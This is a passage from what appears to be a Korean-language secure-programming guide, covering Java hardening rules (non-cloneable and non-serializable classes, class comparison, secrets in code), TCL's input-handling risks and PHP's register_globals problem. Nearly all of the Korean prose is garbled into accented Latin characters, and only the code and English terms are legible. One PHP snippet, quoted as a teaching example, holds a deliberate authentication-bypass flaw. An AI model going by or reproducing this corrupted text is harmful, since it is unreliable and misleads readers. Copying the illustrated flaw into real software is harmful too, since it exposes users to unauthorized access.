  6. Àý´ë·Î »ç¿ëÀÚ°¡ Á¦°øÇÑ °¡º¯ °´Ã¼ (°´Ã¼ÀÇ ¹è¿­À» Æ÷ÇÔÇØ) ¸¦ Á÷Á¢ÀûÀ¸·Î ÀúÀåÇÏÁö ¸¶¶ó. ±×·¸Áö ¾ÊÀ¸¸é »ç¿ëÀÚ°¡ °´Ã¼¸¦ º¸¾ÈÀûÀÎ Äڵ忡 °Ç³×ÁÖ°í º¸¾ÈÀûÀÎ Äڵ尡 °´Ã¼¸¦ °Ë»çÇÏ°Ô ÇÑ ÈÄ º¸¾ÈÀûÀÎ Äڵ尡 µ¥ÀÌŸ¸¦ »ç¿ëÇÏ·Á°í ÇÏ´Â µ¿¾È µ¥ÀÌŸ¸¦ º¯°æÇÒ ¼ö ÀÖ´Ù. ¹è¿­À» ³»ºÎÀûÀ¸·Î ÀúÀåÇϱâ Àü¿¡ º¹Á¦ (clone) Çϰí ÀÌ¿¡ ÁÖÀÇÇØ¶ó (»ç¿ëÀÚ°¡ ÀÛ¼ºÇÑ º¹Á¦ ·çƾ¿¡ ÁÖÀÇÇØ¶ó).

  7. ÃʱâÈ­¿¡ ÀÇÁ¸ÇÏÁö ¸¶¶ó. ÃʱâÈ­µÇÁö ¾ÊÀº °´Ã¼¸¦ ÇÒ´çÇÏ´Â ¸î¸î ¹æ¹ýÀÌ ÀÖ´Ù.

  8. È®½ÇÇÑ ÀÌÀ¯°¡ ¾ø´Ù¸é ¸ðµç °ÍÀ» final ·Î ¸¸µé¾î¶ó. Ŭ·¡½º ¶Ç´Â ¸Þ½îµå°¡ final ÀÌ ¾Æ´Ï¶ó¸é °ø°ÝÀÚ°¡ À̸¦ À§ÇèÇÏ°í ¿¹±âÄ¡ ¸øÇÑ ¹æ½ÄÀ¸·Î È®ÀåÇÏ·Á°í ÇÒ ¼ö ÀÖ´Ù. ¹°·Ð ÀÌ´Â º¸¾ÈÀûÀÌÁö¸¸ È®À强À» ÀÒÀ½À» ÁÖ¸ñÇØ¶ó.

  9. º¸¾ÈÀ» À§ÇØ ÆÐŰÁö À¯È¿ ¹üÀ§ (scope) ¿¡ ÀÇÁ¸ÇÏÁö ¸¶¶ó. java.lang ¿Í °°Àº ¾à°£ÀÇ Å¬·¡½ºµéÀº µðÆúÆ®·Î ´ÝÇô ÀÖÀ¸¸ç ¸î¸î JVM (Java Virtual Machine) Àº ´Ù¸¥ ÆÐŰÁöµéÀ» ´Ýµµ·Ï ÇÑ´Ù. ±×·¸Áö ¾ÊÀ¸¸é Àڹ٠Ŭ·¡½ºµéÀº ´ÝÇôÀÖÁö ¾ÊÀº »óÅÂÀÌ´Ù. µû¶ó¼­ °ø°ÝÀÚ°¡ ÆÐŰÁö¾È¿¡ »õ·Î¿î Ŭ·¡½º¸¦ µµÀÔÇØ¼­ À̸¦ »ç¿ëÇØ º¸È£Çϰí ÀÖ´Ù°í »ý°¢ÇÏ´Â °Í¿¡ Á¢±ÙÇÒ ¼ö ÀÖ´Ù.

  10. ³»ºÎ Ŭ·¡½º¸¦ »ç¿ëÇÏÁö ¸¶¶ó. ³»ºÎ Ŭ·¡½º°¡ ¹ÙÀÌÆ® ÄÚµå·Î º¯È¯µÉ ¶§ ³»ºÎ Ŭ·¡½º´Â ÆÐŰÁö ³»ÀÇ ¸ðµç Ŭ·¡½º¿¡ Á¢±ÙÇÒ ¼ö Àִ Ŭ·¡½º·Î º¯È¯µÈ´Ù. ´õ¿í ¹Ù¶÷Á÷ÇÏÁö ¾ÊÀº °ÍÀº ³»ºÎ Ŭ·¡½º¸¦ °®°í ÀÖ´Â (enclosing) Ŭ·¡½ºÀÇ private Çʵ尡 ¼Ò¸®¾øÀÌ non-private °¡ µÇ¾î ³»ºÎ Ŭ·¡½º¿¡ ÀÇÇÑ Á¢±ÙÀ» Çã¿ëÇÑ´Ù.

  11. ±ÇÇÑÀ» ÃÖ¼ÒÈ­ÇØ¶ó. °¡´ÉÇÑ ¾î¶°ÇÑ Æ¯º°ÇÑ Çã°¡±Çµµ ¿ä±¸ÇÏÁö ¸¶¶ó. McGraw ´Â ´õ ³ª¾Æ°¡¼­ ¸ðµç Äڵ忡 ¼­¸íÇÏÁö ¸»¶ó°í ±ÇÇϰí ÀÖ´Ù ; ÀúÀÚ´Â ´õ ³ª¾Æ°¡¼­ Äڵ忡 ¼­¸íÇÏÁö¸¸ (µû¶ó¼­ »ç¿ëÀÚµéÀº ´ÜÁö ÀÌ Àü¼ÛÀÚ ¸ñ·Ï¿¡ ÀÇÇØ ¼­¸íµÈ Äڵ常 ½ÇÇà½Ã۱â·Î Á¤ÇÒ ¼ö ÀÖ´Ù) sandbox ±ÇÇѼ ÀÌ»óÀ» ÇÊ¿ä·Î ÇÏÁö ¾Ê´Â ÇÁ·Î±×·¥À» ÀÛ¼ºÇ϶ó°í ¸»ÇÑ´Ù. ´õ¿í ¸¹Àº ±ÇÇÑÀ» °¡Á®¾ß ÇÑ´Ù¸é Äڵ带 Ưº°È÷ ¾öÇÏ°Ô °¨»çÇØ¶ó.

  12. Äڵ忡 ¼­¸íÇØ¾ß ÇÑ´Ù¸é À̸¦ ¸ðµÎ ÇÑ ¾ÆÄ«ÀÌºê ÆÄÀÏ¿¡ ³õ¾Æ¶ó. ¿©±â¼­ McGraw [1999] ¸¦ ÀοëÇÏ´Â °ÍÀÌ ÃÖ¼±ÀÌ´Ù.

    ÀÌ ±ÔÄ¢ÀÇ ¸ñÀûÀº °ø°ÝÀÚ°¡ ¾ÇÀÇÀִ Ŭ·¡½º¿Í °¢ÀÚ°¡ ¼­¸íÇÑ Å¬·¡½ºµéÁß ÀϺθ¦ ¸µÅ©½ÃŰ°Å³ª Àý´ë·Î ÇÔ²² »ç¿ëµÇÁö ¾Ê¾Æ¾ß ÇÏ´Â ¼­¸íµÈ Ŭ·¡½ºµéÀ» ÇÔ²² ¸µÅ©½ÃŰ´Â »õ·Î¿î ¾ÖÇø´ ¶Ç´Â ¶óÀ̺귯¸®¸¦ ±¸ÃàÇÏ´Â mix-and-match °ø°ÝÀ» ¼öÇàÇÏÁö ¸øÇϵµ·Ï ÇÏ´Â °ÍÀÌ´Ù. ÀÏ´ÜÀÇ Å¬·¡½ºµéÀ» ÇÔ²² ¼­¸íÇÔÀ¸·Î½á ÀÌ °ø°ÝÀ» ´õ ¾î·Æ°Ô ¸¸µé¾î¶ó. ±âÁ¸ÀÇ ÄÚµå ¼­¸í ½Ã½ºÅÛÀº mix-and-match °ø°ÝÀ» ¿¹¹æÇϱ⿡ ºÎÀûÀýÇѵ¥ µû¶ó¼­ ÀÌ ±ÔÄ¢ÀÌ ÀÌ·¯ÇÑ °ø°ÝÀ» ¿ÏÀüÈ÷ ¿¹¹æÇÒ ¼ö´Â ¾ø´Ù. ±×·¯³ª ÇϳªÀÇ ¾ÆÄ«À̺긦 »ç¿ëÇÏ´Â °ÍÀÌ ³ª»Û ¿µÇâÀ» ¹ÌÄ¥ ¼ö´Â ¾ø´Ù.

  13. Ŭ·¡½º¸¦ º¹Á¦ ºÒ°¡´ÉÇÏ°Ô ¸¸µé¾î¶ó. ÀÚ¹ÙÀÇ °´Ã¼ º¹Á¦ ¸ÞÄ«´ÏÁòÀº °ø°ÝÀÚ°¡ »ý¼ºÀÚµé Áß ¾î¶² °Íµµ ½ÇÇà½ÃŰÁö ¾Ê°íµµ Ŭ·¡½º¸¦ ÀνºÅϽºÈ­ÇÒ ¼ö ÀÖµµ·Ï ÇÑ´Ù. Ŭ·¡½º¸¦ ºÒÁ¦ ºÒ°¡´ÉÇÏ°Ô ¸¸µé±â À§Çؼ­´Â ´ÜÁö °¢ Ŭ·¡½º¿¡ ´ÙÀ½ ¸Þ½îµå¸¦ Á¤ÀÇÇØ¶ó:

    public final void clone() throws java.lang.CloneNotSupportedException {
       throw new java.lang.CloneNotSupportedException();
       }

    Ŭ·¡½º¸¦ Á¤¸» º¹Á¦°¡´ÉÇÏ°Ô ¸¸µé Çʿ䰡 ÀÖ´Ù¸é °ø°ÝÀÚ°¡ Ŭ·Ð ¸Þ½îµå¸¦ ÀçÁ¤ÀÇÇÏÁö ¸øÇϵµ·Ï ÃëÇÒ ¼ö ÀÖ´Â ¾à°£ÀÇ º¸È£ Á¶Ä¡°¡ ÀÖ´Ù. °¢ÀÚÀÇ Å¬·Ð ¸Þ½îµå¸¦ Á¤ÀÇÇÑ´Ù¸é ´ÜÁö À̸¦ final ·Î Á¤ÀÇÇØ¶ó. ±×·¸Áö ¾ÊÀ¸¸é ´ÙÀ½À» Ãß°¡ÇÔÀ¸·Î½á ÃÖ¼ÒÇÑ Å¬·Ð ¸Þ½îµå°¡ ¾ÇÀÇÀûÀ¸·Î ÀçÁ¤ÀǵǴ °ÍÀ» ¿¹¹æÇÒ ¼ö ÀÖ´Ù:

    public final void clone() throws java.lang.CloneNotSupportedException {
      super.clone();
      }

  14. Ŭ·¡½º¸¦ unserializeable ·Î ¸¸µé¾î¶ó. Á÷·ÄÈ­´Â °ø°ÝÀÚ°¡ °´Ã¼»Ó¸¸ ¾Æ´Ï¶ó private ºÎºÐµéÀÇ ³»ºÎ »óŸ¦ º¼ ¼ö ÀÖµµ·Ï ÇÑ´Ù. À̸¦ ¿¹¹æÇϱâ À§ÇØ Å¬·¡½º¿¡ ´ÙÀ½ ¸Þ½îµå¸¦ Ãß°¡Çضó:

    private final void writeObject(ObjectOutputStream out)
      throws java.io.IOException {
         throw new java.io.IOException("Object cannot be serialized");
      }

    Á÷·ÄÈ­°¡ ¹«¹æÇÑ °æ¿ì¶óµµ ¹Ýµå½Ã ½Ã½ºÅÛ ÀÚ¿ø¿¡ ´ëÇÑ Á÷Á¢ÀûÀÎ ÇÚµé°ú ÁÖ¼Ò °ø°£¿¡ ´ëÇÑ Á¤º¸¸¦ Æ÷ÇÔÇÏ´Â Çʵ忡 ´ëÇØ transient Ű¿öµå¸¦ »ç¿ëÇØ¶ó. ±×·¸Áö ¾ÊÀ¸¸é Ŭ·¡½º¸¦ deserializing ÇÔÀ¸·Î½á ºÎÀûÀýÇÑ Á¢±ÙÀ» Çã¿ëÇÒ ¼öµµ ÀÖ´Ù. ¶ÇÇÑ ±â¹ÐÀ» ´Ù·ç´Â Á¤º¸¸¦ transient ·Î ½Äº°ÇÏ·Á°í ÇÒ ¼öµµ ÀÖ´Ù.

    Ŭ·¡½º¿¡ ´ëÇØ °¢ÀÚÀÇ Á÷·ÄÈ­ ¸Þ½îµå¸¦ Á¤ÀÇÇÑ´Ù¸é ¹è¿­À» ÃëÇÏ´Â ¸ðµç DataInput/DataOutput ¿¡ ³»ºÎ ¹è¿­À» Àü´ÞÇØ¼­´Â ¾ÈµÈ´Ù. ±Ùº»Àû ÀÌÀ¯´Â ¸ðµç DataInput/DataOutput ¸Þ½îµåµéÀº ÀçÁ¤ÀÇµÉ ¼ö Àֱ⠶§¹®ÀÌ´Ù. Serializable Ŭ·¡½º°¡ DataOutput (write(byte [] b)) ¸Þ½îµå¿¡ Á÷Á¢ÀûÀ¸·Î private ¹è¿­À» º¸³½´Ù¸é °ø°ÝÀÚ´Â private ¹è¿­À» Á¢±Ù ¹× º¯°æÇÒ ¼ö ÀÖµµ·Ï ¼­ºê Ŭ·¡½º ObjectOutputStream À» »ç¿ëÇØ write(byte [] b) ¸Þ½îµå¸¦ ÀçÁ¤ÀÇÇÒ ¼ö ÀÖ´Ù. µðÆúÆ® serialization Àº DataInput/DataOutput ¹ÙÀÌÆ® ¹è¿­ ¸Þ½îµå¿¡ private ¹ÙÀÌÆ® ¹è¿­ Çʵ带 µå·¯³»Áö ¾ÊÀ½À» ÁÖ¸ñÇØ¶ó.

  15. Ŭ·¡½º¸¦ undeserializeable ÇÏ°Ô ¸¸µé¾î¶ó. Ŭ·¡½º°¡ serializeable ÇÏÁö ¾Ê´õ¶óµµ deserializeable ÀÏ ¼ö ÀÖ´Ù. °ø°ÝÀÚ´Â ÀÚ½ÅÀÌ ¼±ÅÃÇÑ °ªÀ» °®´Â Ŭ·¡½ºÀÇ ÀνºÅϽº¿¡ ¿ì¿¬È÷ deserialize ÇÒ ¼ö ÀÖ´Â ¹ÙÀÌÆ® ½ÃÄö½º¸¦ »ý¼ºÇÒ ¼ö ÀÖ´Ù. ´Ù¸¥ ¸»·Î deserialization Àº ÀÏÁ¾ÀÇ public »ý¼ºÀÚ·Î °ø°ÝÀÚ°¡ °´Ã¼ »óŸ¦ ¼±ÅÃÇÒ ¼ö ÀÖµµ·Ï Çϴµ¥ ÀÌ´Â ¸í¹éÈ÷ À§ÇèÇÑ ¿¬»êÀÌ´Ù. À̸¦ ¿¹¹æÇϱâ À§ÇØ Å¬·¡½º¿¡ ´ÙÀ½ ¸Þ½îµå¸¦ Ãß°¡Çضó:

    private final void readObject(ObjectInputStream in)
      throws java.io.IOException {
        throw new java.io.IOException("Class cannot be deserialized");
      }

  16. À̸§À¸·Î Ŭ·¡½º¸¦ ºñ±³ÇÏÁö ¸¶¶ó. °á±¹ °ø°ÝÀÚ´Â µ¿ÀÏÇÑ À̸§À» °®´Â Ŭ·¡½º¸¦ Á¤ÀÇÇÒ ¼ö ÀÖÀ¸¸ç ÁÖÀÇÇÏÁö ¾Ê´Â´Ù¸é ÀÌ·¯ÇÑ Å¬·¡½º¿¡ ºÎÀû´çÇÑ ±ÇÇÑÀ» Çã¿ëÇÔÀ¸·Î½á È¥µ¿À» ÀÏÀ¸Å³ ¼ö ÀÖ´Ù. ´ÙÀ½Àº °´Ã¼°¡ ÁÖ¾îÁø Ŭ·¡½º¸¦ °®´ÂÁö¸¦ °áÁ¤Çϴµ¥ ÀÖ¾î À߸øµÈ ¹æ¹ýÀÇ ¿¹ÀÌ´Ù:

      if (obj.getClass().getName().equals("Foo")) {

    µÎ °´Ã¼°¡ Á¤È®È÷ µ¿ÀÏÇÑ Å¬·¡½º¸¦ °®´ÂÁö °áÁ¤ÇÒ Çʿ䰡 ÀÖ´Ù¸é ´ë½Å ¾çÃø¿¡ ¸ðµÎ getClass() ¸¦ »ç¿ëÇϰí == ¿¬»êÀÚ¸¦ »ç¿ëÇØ ºñ±³Çضó. ÀÌ´Â ´ÙÀ½°ú °°ÀÌ »ç¿ëÇØ¾ß ÇÑ´Ù:

      if (a.getClass() == b.getClass()) {

    °´Ã¼°¡ ÁÖ¾îÁø Ŭ·¡½ºÀ̸§À» °®´ÂÁö Á¤È®È÷ °áÁ¤ÇÒ Çʿ䰡 ÀÖ´Ù¸é ÇöÀç Ŭ·¡½ºÀÇ ClassLoader ÀÇ ÇöÀç À̸§°ø°£À» »ç¿ëÇÏ´ÂÁö¸¦ È®ÀÎÇÒ Çʿ䰡 ÀÖ´Ù. µû¶ó¼­ ´ÙÀ½ Æ÷¸ËÀ» »ç¿ëÇÒ Çʿ䰡 ÀÖÀ» °ÍÀÌ´Ù:

      if (obj.getClass() == this.getClassLoader().loadClass("Foo")) {

    ÀÌ ÁöħÀº McGraw ¿Í Felten ¿¡ ÀÇÇÑ °ÍÀ¸·Î ¾ÆÁÖ ÈǸ¢ÇÑ ÁöħÀε¥ ÀúÀÚ´Â ¾î·µç Ŭ·¡½º °ªµéÀÇ ºñ±³¸¦ °¡´ÉÇÑ ÇÇÇÏ´Â °ÍÀÌ ¾ðÁ¦³ª ÁÁÀº »ý°¢À̶ó°í Ãß°¡ÇÒ °ÍÀÌ´Ù. ¹°·Ð À̸¦ ÀüÇô ÇÒ Çʿ䰡 ¾øµµ·Ï Ŭ·¡½º ¸Þ½îµå¿Í ÀÎÅÍÆäÀ̽º¸¦ ¼³°èÇÏ·Á´Â °ÍÀÌ ´õ¿í È®½ÇÇÑ ¹æ¹ýÀÌ´Ù. ±×·¯³ª ÀÌ ¹æ¹ýÀÌ ´Ã ½Ç¿ëÀûÀÌÁö´Â ¾ÊÀ¸¸ç µû¶ó¼­ ÀÌ·¯ÇÑ ¿ä·ÉÀ» ¾Æ´Â °ÍÀÌ Áß¿äÇÏ´Ù.

  17. ¾ÏȣȭŰ, ÆÐ½º¿öµå ¶Ç´Â ¾Ë°í¸®µë °°Àº ºñ¹ÐÀ» ÄÚµå ¶Ç´Â µ¥ÀÌŸ¿¡ ÀúÀåÇÏÁö ¸¶¶ó. ¾ÇÀǰ¡ ÀÖ´Â JVM µéÀº »¡¸® ÀÌ µ¥ÀÌŸ¸¦ º¼ ¼ö ÀÖ´Ù. ÄÚµå obfuscation (¾Ö¸ÅÈ­) ÀÌ ½ÇÁ¦·Î ½É°¢ÇÑ °ø°ÝÀÚµé·ÎºÎÅÍ Äڵ带 ¼û±âÁö´Â ¾Ê´Â´Ù.


9.7. TCL

TCL Àº "tool command language (Åø Ä¿¸Çµå ¾ð¾î)" ÀÇ ¾à¾î·Î tickle ·Î ¹ßÀ½ÇÑ´Ù. TCL Àº ¾ð¾î¿Í ¶óÀ̺귯¸® µÎ ºÎºÐÀ¸·Î ³ª´©¾îÁ® ÀÖ´Ù. ¾ð¾î´Â °£´ÜÇÑ ÅØ½ºÆ® ¾ð¾î·Î ´ëÈ­½Ä ÇÁ·Î±×·¥¿¡ ¸í·ÉÀ» ³»ÁÖµµ·Ï ÀǵµµÇ¾úÀ¸¸ç ±âº»ÀûÀÎ ÇÁ·Î±×·¡¹Ö ´É·ÂÀ» Æ÷ÇÔÇϰí ÀÖÀ¸¸ç ¶óÀ̺ê¹ö¸®´Â ¾ÖÇø®ÄÉÀÌ¼Ç ÇÁ·Î±×·¥¿¡ ³»ÀåµÉ ¼ö ÀÖ´Ù.

TCL WWW Info À¥ ÆäÀÌÁö¿Í °°Àº »çÀÌÆ®¿¡¼­ TCL ¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸¸¦ ¾òÀ» ¼ö ÀÖ´Ù. ¾Æ¸¶ ´ëºÎºÐÀÇ °ü½É»ç´Â WebWiseTclTk »Ó¸¸ ¾Æ´Ï¶ó Safe-TCL (TCL ¿¡¼­ sandbox ¸¦ »ý¼ºÇÑ´Ù) °ú Safe-TK (Safe-TCL ¿¡ ´ëÇØ sandboxed µÈ À̽İ¡´ÉÇÑ GUI ¸¦ ±¸ÇöÇÑ´Ù) ŸŶÀÌ TCL ÆÐŰÁö°¡ World Wide Web ¾î´À°÷¿¡¼­³ª ÀÚµ¿ÀûÀ¸·Î À§Ä¡ÇØ ÀûÀçµÉ ¼ö ÀÖµµ·Ï ÇÑ´Ù´Â °ÍÀÌ´Ù. http://www.cbl.ncsu.edu/software/WebWiseTclTk ¿¡¼­ WebWiseTclTk ¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸¸¦ ãÀ» ¼ö ÀÖ´Ù. ±×·¯³ª À̰ÍÀÌ ¾ó¸¶³ª ¸¹Àº ÄÚµå °ËÅ並 ¹Þ¾Ò´ÂÁö ÀúÀÚ¿¡°Ô´Â ¸íÈ®ÇÏÁö ¾ÊÀºµ¥ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â http://www.tclfaq.wservice.com/tcl-faq ¿¡ ÀÖ´Â comp.lang.tcl FAQ ½ÃÀÛ ÆäÀÌÁö¿¡¼­ ¾òÀ» ¼ö ÀÖ´Ù. ±×·¯³ª TCL À» ÀÛ°í "´Ü¼øÇÑ" ¾ð¾î·Î ¸¸µé·Á°í ÇÑ ¹Ù·¥ÀÌ ¿ÀÈ÷·Á Á¦ÇÑµÈ ¾ð¾î¸¦ ÃÊ·¡ÇßÀ½À» ¾ð±ÞÇÏ´Â °ÍÀº °¡Ä¡°¡ Àִµ¥ Richard Stallman's ``Why You Should Not Use TCL'' ¸¦ º¸¶ó. ¿¹¸¦ µé¾î ¹Ýµå½Ã ´Ü ÇѰ¡Áö µ¥ÀÌŸ ŸÀÔ (¹®ÀÚ¿­) ¸¸ÀÌ ÀÖ´Ù´Â TCL °³³äÀº ÇÁ·Î±×·¥À» ´À¸®°Ô ¸¸µé»Ó ¾Æ´Ï¶ó ¸¹Àº ÇÁ·Î±×·¥ÀÇ ÀÛ¼ºÀ» ¾î·Æ°Ô ¸¸µé ¼ö ÀÖ´Ù. ¶ÇÇÑ ÀúÀÚ°¡ TCL ÇÁ·Î±×·¥À» ÀÛ¼ºÇßÀ» ¶§ ¾ÇÀÇÀÖ´Â ÀÔ·Â ¹®ÀÚ¿­ÀÌ ´Ù·ç±â ¾î·Æ°í ¿¹±âÄ¡ ¾ÊÀº µ¿ÀÛÀ» ÀÏÀ¸Å³ ¼öÀÖ´Â TCL ÇÁ·Î±×·¥À» ¿ì¿¬È÷ ÀÛ¼ºÇÏ´Â °ÍÀÌ ½¬¿òÀ» ¹ß°ßÇß´Ù. ¿¹¸¦ µé¾î °ø°ÝÀÚ´Â ³»Àå ½ºÆäÀ̽º, ÀÌÁß ÀÎ¿ë ºÎÈ£, curly braces, dollar signs ¶Ç´Â brackets °ú °°ÀÌ TCL ¿¡ Ưº°ÇÑ Àǹ̸¦ °®´Â ¹®ÀÚ¸¦ TCL ¿¡ º¸³¿À¸·Î½á ¿¹±âÁö ¾ÊÀº ÀÏÀ» ÇϰԲû (¶Ç´Â ÀÌ·¯ÇÑ ¹®ÀÚµéÀÌ Ã³¸®Áß¿¡ »ý¼ºµÇ°Ô²û ÇÏ´Â ÀÔ·ÂÀ» »ý¼ºÇϰԲû) ÇÒ ¼öµµ ÀÖ´Ù. µû¶ó¼­ ÀúÀÚ´Â º¸¾È ¸ñÀûÀ» À§ÇÑ ÇÁ·Î±×·¥À» ÀÛ¼ºÇÒ ¶§ TCL À» ÃßõÇÏÁö ¾Ê´Â´Ù. ±×·¸°Ô ÇÏ·Á¸é ƯÈ÷ »ç¿ëÀÚ ÀÔ·ÂÀÌ ÇÁ·Î±×·¥À» ¼ÓÀÏ ¼ö ¾øÀ½À» º¸ÁõÇϴµ¥ ÁÖÀÇÇØ¶ó. ´Ù¸¥ ÇÑÆíÀ¸·Î ÀúÀÚ´Â TCL ÇÁ·Î±×·¥ÀÌ ¸ð¹ÙÀÏ Äڵ带 ±¸ÇöÇÏ´Â µ¥ »ç¿ëµÉ ¼ö ¾ø´Â ¾î¶°ÇÑ ÀÌÀ¯µµ ¸ð¸¥´Ù. ÀúÀÚº¸´Ù ´õ¿í ¸¹Àº »ç¿ëÀ» ¿ËÈ£ÇÏ´Â TCL ÁöÁöÀÚµµ ºÐ¸íÈ÷ ÀÖÀ¸¸ç TCL Àº ÀÌ¹Ì ¸¸µé¾îÁø sandbox ±¸ÇöÀ» °®°í ÀÖ´Â ¾ó¸¶ ¾ÈµÇ´Â ¾ð¾îÁßÀÇ ÇϳªÀÌ´Ù.


9.8. PHP

SecureReality ´Â "A Study in Scarlet - Exploiting Common Vulnerabilities in PHP" ¶ó´Â ¸Å¿ì Èï¹Ì·Î¿î ³í¹®À» ¹ßÇ¥ÇÏ¿´´Ù [Clowes 2001]. ÀÌ ³í¹®Àº PHP, ƯÈ÷ PHP 4.1.0 ÀÌÀü ¹öÀü¿¡¼­ º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥À» ÀÛ¼ºÇϴµ¥ À־ ´Ù¼ÒÀÇ ¹®Á¦µéÀ» ³íÀÇÇϰí ÀÖ´Ù. Clowes ´Â ``µðÆúÆ® PHP ¼³Á¤¿¡¼­ º¸¾ÈÀûÀÎ PHP ¾ÖÇø®ÄÉÀ̼ÇÀ» ÀÛ¼ºÇÏ´Â °ÍÀº °¢ÀÚ ³ë·ÂÇÑ´Ù°í ÇÏ´õ¶óµµ ¸Å¿ì ¾î·Æ´Ù" °í °á·ÐÁö¾ú´Ù.

¸ðµç ¾ð¾î¿¡ º¸¾È ¹®Á¦°¡ ÀÖ´Ù°í ÇÏ´õ¶óµµ PHP ¿¡´Â PHP ¸¦ ´ëºÎºÐÀÇ ¾ð¾îµéº¸´Ù ºñº¸¾ÈÀûÀÌ°Ô ÇÏ´Â ÇѰ¡Áö Ưº°ÇÑ ¹®Á¦°¡ ÀÖ´Ù; ÀÌ´Â µ¥ÀÌŸ¸¦ À̸§°ø°£¿¡ ÀûÀçÇÏ´Â ¹æ½ÄÀÌ´Ù. µðÆúÆ®·Î PHP (¹öÀü 4.1.0 ÀÌÇÏ) ¿¡¼­´Â À¥À» ÅëÇØ PHP ·Î º¸³»Áö´Â ¸ðµç ȯ°æ º¯¼ö ¹× °ªÀÌ ÀϹÝÀûÀÎ º¯¼öµéÀÌ ÀûÀçµÇ´Â µ¿ÀÏÇÑ À̸§°ø°£ (Àü¿ªº¯¼ö) ³»·Î ÀÚµ¿ÀûÀ¸·Î ÀûÀçµÈ´Ù - µû¶ó¼­ °ø°ÝÀÚ´Â ÀÓÀÇÀÇ º¯¼ö¿¡ ÀÓÀÇÀÇ °ªÀ» ¼³Á¤ÇÒ ¼ö ÀÖÀ¸¸ç PHP ÇÁ·Î±×·¥ÀÌ ¸í½ÃÀûÀ¸·Î Àç¼³Á¤ÇÏÁö ¾Ê´Â´Ù¸é ÀÌ °ªÀÌ À¯ÁöµÈ´Ù. °Ô´Ù°¡ PHP ´Â óÀ½ ¿äûµÉ ¶§ µðÆúÆ® °ªÀ» °®´Â º¯¼ö¸¦ ÀÚµ¿ÀûÀ¸·Î »ý¼ºÇϴµ¥ µû¶ó¼­ PHP ÇÁ·Î±×·¥ÀÌ º¯¼ö¸¦ ÃʱâÈ­ÇÏÁö ¾Ê´Â °ÍÀÌ ÀϹÝÀûÀÌ´Ù. º¯¼ö ¼³Á¤À» ÇÏÁö ¾Ê´Â °æ¿ì PHP °¡ À̸¦ º¸°íÇÒ ¼ö´Â ÀÖÁö¸¸ µðÆúÆ®·Î ±×·¸°Ô ÇÏÁö ¾ÊÀ» °ÍÀÌ´Ù - ÀÌ´Â ´Ü¼øÈ÷ ¿¡·¯ º¸°í·Î ÀÌ·¯ÇÑ ¿¡·¯¸¦ ¾ß±âÇÏ´Â ¿¹¿ÜÀûÀÎ ¹æ½ÄÀ» ¹ß°ßÇÑ °ø°ÝÀÚ¸¦ ¸·Áö ¸øÇÒ °ÍÀ½À» ÁÖ¸ñÇØ¶ó. µû¶ó¼­ µðÆúÆ®·Î PHP ´Â ÇÁ·Î±×·¥ÀÌ °ø°ÝÀÚ¸¦ ¹«½ÃÇϱâ À§ÇØ Æ¯º°È÷ ÁÖÀǸ¦ ÇÏÁö ¾Ê´Â´Ù¸é °ø°ÝÀÚ°¡ ÇÁ·Î±×·¥³»ÀÇ ¸ðµç º¯¼ö °ªÀ» ¿ÏÀüÈ÷ Á¦¾îÇÒ ¼ö ÀÖµµ·Ï ÇÑ´Ù. ÀÏ´Ü °ø°ÝÀÚ°¡ ÇÁ·Î±×·¥À» Á¦¾îÇÏ°Ô µÈ´Ù¸é ÀÌ·¯ÇÑ º¯¼ö¸¦ Àç¼³Á¤ÇÒ ¼ö ÀÖÀ¸¸ç µû¶ó¼­ °¢ÀÚ ¾î¶² º¯¼ö(¸íÈ®ÇÏÁø ¾ÊÁö¸¸ Àû¾îµµ ÇѰ³ÀÇ º¯¼ö) ¸¦ Àç¼³Á¤ÇÏÁö ¸øÇÑ´Ù¸é PHP ÇÁ·Î±×·¥À» Ãë¾àÇÏ°Ô ¸¸µé ¼öµµ ÀÖ´Ù.

¿¹¸¦ µé¾î ´ÙÀ½ PHP ÇÁ·Î±×·¥ (Clowes ·ÎºÎÅÍÀÇ ¿¹Á¦) Àº ÆÐ½º¿öµå¸¦ ¾Ë°í ÀÖ´Â »ç¶÷µé¿¡°Ô ´ÜÁö ¾î¶² Áß¿äÇÑ Á¤º¸¸¦ ¾òµµ·Ï ÇÏÁö¸¸ °ø°ÝÀÚ´Â ±× »ç¶÷µéÀÇ À¥ ºê¶ó¿ìÀú¿¡ ``auth" ¸¦ ¼³Á¤ÇØ Àΰ¡ °Ë»ç¸¦ ÆÄ±«ÇÒ ¼ö ÀÖ´Ù:

 <?php
  if ($pass == "hello")
   $auth = 1;
  ...
  if ($auth == 1)
   echo "some important information";
 ?>

ÀúÀÚ¿Í ¸¹Àº »ç¶÷µéÀº ÀÌ·¯ÇÑ Æ¯º°È÷ À§ÇèÇÑ ¹®Á¦¿¡ ´ëÇØ Ǫ³äÇØ¿ÔÁö¸¸ ÀÌ´Â PHP °¡ ³Î¸® »ç¿ëµÇ°í Àֱ⠶§¹®¿¡ Ưº°ÇÑ ¹®Á¦ÀÌ´Ù. °á±¹ »ç¿ëÇϱ⠽±´Ù°í ¾Ë·ÁÁø ¾ð¾î´Â º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ ÀÛ¼ºÀ» ´õ¿í ½±°ÔÇÑ´Ù. PHP ¿¡¼­ ``register_globals" ¸¦ ``off" ·Î ¼³Á¤ÇÔÀ¸·Î½á ÀÌ·¯ÇÑ À߸øµÈ Ư¡À» ±ÝÁöÇÏ´Â °ÍÀº °¡´ÉÇÏÁö¸¸ µðÆúÆ®·Î 4.1.0 ÀÌ»óÀÇ PHP ¹öÀüÀº À̸¦ ``on" À¸·Î ¼³Á¤Çϸç 4.1.0 ÀÌÀü PHP ¹öÀüÀº register_globals ¸¦ off ¼³Á¤ÇÏ´Â °æ¿ì ´õ¿í »ç¿ëÇÏ±â ¾î·Æ´Ù. PHP °³¹ßÀÚµéÀº 4.1.0 ¹öÀü ¹ßÇ¥¿¡¼­ ``´ÙÀ½ semi-major ¹öÀü¿¡¼­´Â PHP ÀÇ ½Å±Ô ¼³Ä¡½Ã µðÆúÆ®·Î register_globals ¸¦ off ·Î ¼³Á¤ÇÒ °ÍÀÌ´Ù" ¶ó°í °øÇ¥Çß´Ù.

